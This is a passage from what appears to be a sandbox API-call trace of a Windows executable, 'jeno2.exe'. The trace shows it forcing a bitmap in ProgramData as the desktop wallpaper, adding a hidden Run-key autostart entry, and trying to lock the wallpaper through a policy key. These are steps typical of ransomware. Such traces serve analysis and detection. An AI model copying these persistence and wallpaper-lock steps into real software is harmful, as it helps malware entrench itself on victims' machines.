SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.021] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b48fc, cbMultiByte=31, lpWideCharStr=0x146c82c, cchWideChar=61 | out: lpWideCharStr="S-1-5-18\\Control Panel\\Desktop") returned 31 [0177.022] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.022] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.022] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.022] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.022] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x1452454, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0177.022] RegSetValueExA (in: hKey=0x720, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0177.022] GetLastError () returned 0x0 [0177.022] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0177.022] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1452454, cbMultiByte=10, lpWideCharStr=0x14f5b84, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0177.022] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.022] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x14b48fc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.022] RegFlushKey (hKey=0x720) returned 0x0 [0177.023] GetLastError () returned 0x0 [0177.023] RegCloseKey (hKey=0x720) returned 0x0 [0177.023] GetLastError () returned 0x0 [0177.023] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.023] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x143353c, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0177.023] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.024] GetLastError () returned 0x0 [0177.024] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.024] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143353c, cbMultiByte=31, lpWideCharStr=0x144bb04, cchWideChar=61 | out: lpWideCharStr="S-1-5-18\\Control Panel\\Desktop") returned 31 [0177.024] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.024] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.024] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0177.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.024] SysStringLen (param_1="OriginalWallpaper") returned 0x11 [0177.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OriginalWallpaper", cchWideChar=18, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OriginalWallpaper", lpUsedDefaultChar=0x0) returned 18 [0177.024] RegSetValueExA (in: hKey=0x720, lpValueName="OriginalWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0177.024] GetLastError () returned 0x0 [0177.024] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=17, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0177.024] SysStringByteLen (bstr="牏杩湩污慗汬慰数r") returned 0x11 [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=18, lpWideCharStr=0x143353c, cchWideChar=35 | out: lpWideCharStr="OriginalWallpaper") returned 18 [0177.024] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.024] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpWideCharStr=0x14b48fc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.025] RegFlushKey (hKey=0x720) returned 0x0 [0177.025] GetLastError () returned 0x0 [0177.025] RegCloseKey (hKey=0x720) returned 0x0 [0177.025] GetLastError () returned 0x0 [0177.025] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.025] SysStringLen (param_1="S-1-5-18\\Control Panel\\Desktop") returned 0x1e [0177.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Control Panel\\Desktop", cchWideChar=31, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Control Panel\\Desktop", lpUsedDefaultChar=0x0) returned 31 [0177.025] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Control Panel\\Desktop", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.026] GetLastError () returned 0x0 [0177.026] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.026] SysStringByteLen (bstr="ⵓⴱⴵ㠱䍜湯牴汯倠湡汥䑜獥瑫灯") returned 0x1e [0177.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4fbc, cbMultiByte=31, lpWideCharStr=0x146c82c, cchWideChar=61 | out: lpWideCharStr="S-1-5-18\\Control Panel\\Desktop") returned 31 [0177.026] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.026] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.026] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0177.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.026] SysStringLen (param_1="ConvertedWallpaper") returned 0x12 [0177.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConvertedWallpaper", cchWideChar=19, lpMultiByteStr=0x14f560c, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConvertedWallpaper", lpUsedDefaultChar=0x0) returned 19 [0177.026] RegSetValueExA (in: hKey=0x720, lpValueName="ConvertedWallpaper", Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\1.bmp", cbData=0x14 | out: lpData="C:\\ProgramData\\1.bmp") returned 0x0 [0177.026] GetLastError () returned 0x0 [0177.026] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0177.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=18, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0177.026] SysStringByteLen (bstr="潃癮牥整坤污灬灡牥") returned 0x12 [0177.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f560c, cbMultiByte=19, lpWideCharStr=0x14b4fbc, cchWideChar=37 | out: lpWideCharStr="ConvertedWallpaper") returned 19 [0177.026] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=20, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0177.027] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14f5b84, cbMultiByte=21, lpWideCharStr=0x14b48fc, cchWideChar=41 | out: lpWideCharStr="C:\\ProgramData\\1.bmp") returned 21 [0177.027] RegFlushKey (hKey=0x720) returned 0x0 [0177.027] GetLastError () returned 0x0 [0177.027] RegCloseKey (hKey=0x720) returned 0x0 [0177.027] GetLastError () returned 0x0 [0177.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x1452454, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0177.027] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0177.028] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.028] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0177.028] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0177.028] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0177.028] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0177.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0177.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0177.028] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3832f50, cbMultiByte=-1, lpWideCharStr=0x14b4fbc, cchWideChar=15 | out: lpWideCharStr="C:\\ProgramData") returned 15 [0177.028] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f50 | out: hHeap=0x3820000) returned 1 [0177.028] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x18e9f4, nSize=0x104 | out: lpFilename="C:\\ProgramData\\jeno2.exe" (normalized: "c:\\programdata\\jeno2.exe")) returned 0x18 [0177.028] lstrcpynA (in: lpString1=0x18e8e0, lpString2="C:\\ProgramData\\jeno2.exe", iMaxLength=260 | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.028] lstrlenA (lpString="C:\\ProgramData\\jeno2.exe") returned 24 [0177.028] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f440 [0177.029] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x19) returned 0x383f468 [0177.029] lstrcpyA (in: lpString1=0x383f440, lpString2="C:\\ProgramData\\jeno2.exe" | out: lpString1="C:\\ProgramData\\jeno2.exe") returned="C:\\ProgramData\\jeno2.exe" [0177.029] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f468 | out: hHeap=0x3820000) returned 1 [0177.029] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f440 | out: hHeap=0x3820000) returned 1 [0177.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0177.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383e150, cbMultiByte=-1, lpWideCharStr=0x14f560c, cchWideChar=6 | out: lpWideCharStr="jeno2") returned 6 [0177.029] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383e150 | out: hHeap=0x3820000) returned 1 [0177.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb6c, cbMultiByte=1, lpWideCharStr=0x14f5b84, cchWideChar=1 | out: lpWideCharStr="\"") returned 1 [0177.029] VarCat (in: pvarLeft=0x18ecdc, pvarRight=0x18eccc, pvarResult=0x18ecbc | out: pvarResult=0x18ecbc) returned 0x0 [0177.029] VarCat (in: pvarLeft=0x18ecbc, pvarRight=0x18ec3c, pvarResult=0x18ecac | out: pvarResult=0x18ecac) returned 0x0 [0177.029] VarCat (in: pvarLeft=0x18ecac, pvarRight=0x18ec9c, pvarResult=0x18ec8c | out: pvarResult=0x18ec8c) returned 0x0 [0177.029] VarCat (in: pvarLeft=0x18ec8c, pvarRight=0x18ec2c, pvarResult=0x18ec7c | out: pvarResult=0x18ec7c) returned 0x0 [0177.029] VarCat (in: pvarLeft=0x18ec7c, pvarRight=0x18ec6c, pvarResult=0x18ec5c | out: pvarResult=0x18ec5c) returned 0x0 [0177.029] VarCat (in: pvarLeft=0x18ec5c, pvarRight=0x18ec1c, pvarResult=0x18ec4c | out: pvarResult=0x18ec4c) returned 0x0 [0177.029] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0177.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0177.029] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 0x36 [0177.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cchWideChar=55, lpMultiByteStr=0x14b4f74, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", lpUsedDefaultChar=0x0) returned 55 [0177.029] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x720) returned 0x0 [0177.030] GetLastError () returned 0x0 [0177.030] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0177.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=54, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0177.030] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯剜湵") returned 0x36 [0177.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=55, lpWideCharStr=0x1445ffc, cchWideChar=109 | out: lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 55 [0177.030] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0177.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0177.030] SysStringLen (param_1="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x1e [0177.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui", cchWideChar=31, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\jeno2.exe\" -ui", lpUsedDefaultChar=0x0) returned 31 [0177.030] SysStringLen (param_1="BJCMQL") returned 0x6 [0177.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.030] SysStringLen (param_1="BJCMQL") returned 0x6 [0177.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BJCMQL", cchWideChar=7, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BJCMQL", lpUsedDefaultChar=0x0) returned 7 [0177.030] RegSetValueExA (in: hKey=0x720, lpValueName="BJCMQL", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\jeno2.exe\" -ui", cbData=0x1e | out: lpData="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 0x0 [0177.031] GetLastError () returned 0x0 [0177.031] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0177.031] SysStringByteLen (bstr="䩂䵃䱑") returned 0x6 [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=7, lpWideCharStr=0x14f5634, cchWideChar=13 | out: lpWideCharStr="BJCMQL") returned 7 [0177.031] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=30, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0177.031] SysStringByteLen (bstr="䌢尺牐杯慲䑭瑡屡敪潮⸲硥≥ⴠ極") returned 0x1e [0177.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14b4f74, cbMultiByte=31, lpWideCharStr=0x146c82c, cchWideChar=61 | out: lpWideCharStr="\"C:\\ProgramData\\jeno2.exe\" -ui") returned 31 [0177.031] RegFlushKey (hKey=0x720) returned 0x0 [0177.033] GetLastError () returned 0x0 [0177.033] RegCloseKey (hKey=0x720) returned 0x0 [0177.033] GetLastError () returned 0x0 [0177.033] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0177.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0177.033] SysStringLen (param_1="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 0x42 [0177.033] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchWideChar=67, lpMultiByteStr=0x146c82c, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", lpUsedDefaultChar=0x0) returned 67 [0177.033] RegOpenKeyA (in: hKey=0x80000003, lpSubKey="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0x18eb4c | out: phkResult=0x18eb4c*=0x0) returned 0x2 [0177.033] GetLastError () returned 0x0 [0177.033] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0177.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0177.033] SysStringByteLen (bstr="ⵓⴱⴵ㠱卜景睴牡履楍牣獯景屴楗摮睯屳畃牲湥噴牥楳湯停汯捩敩屳祓瑳浥") returned 0x42 [0177.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=67, lpWideCharStr=0x144bb04, cchWideChar=133 | out: lpWideCharStr="S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 67 [0177.033] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0177.034] SysStringLen (param_1="C:\\ProgramData\\1.bmp") returned 0x14 [0177.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\1.bmp", cchWideChar=21, lpMultiByteStr=0x14f560c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\1.bmp", lpUsedDefaultChar=0x0) returned 21 [0177.034] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.034] SysStringLen (param_1="Wallpaper") returned 0x9 [0177.034] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Wallpaper", cchWideChar=10, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Wallpaper", lpUsedDefaultChar=0x0) returned 10 [0177.034] RegSetValueExA (hKey=0x0, lpValueName="Wallpaper", Reserved=0x0, dwType=0x1, lpData=0x14f560c, cbData=0x14) returned 0x6 [0177.034] GetLastError () returned 0x0 [0177.034] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0177.034] SysStringByteLen (bstr="慗汬慰数r") returned 0x9 [0177.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x53a5384, cbMultiByte=10, lpWideCharStr=0x14f5634, cchWideChar=19 | out: lpWideCharStr="Wallpaper") returned 10 [0177.034] SysStringByteLen (bstr="㩃停潲牧浡慄慴ㅜ戮灭") returned 0x14 [0177.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 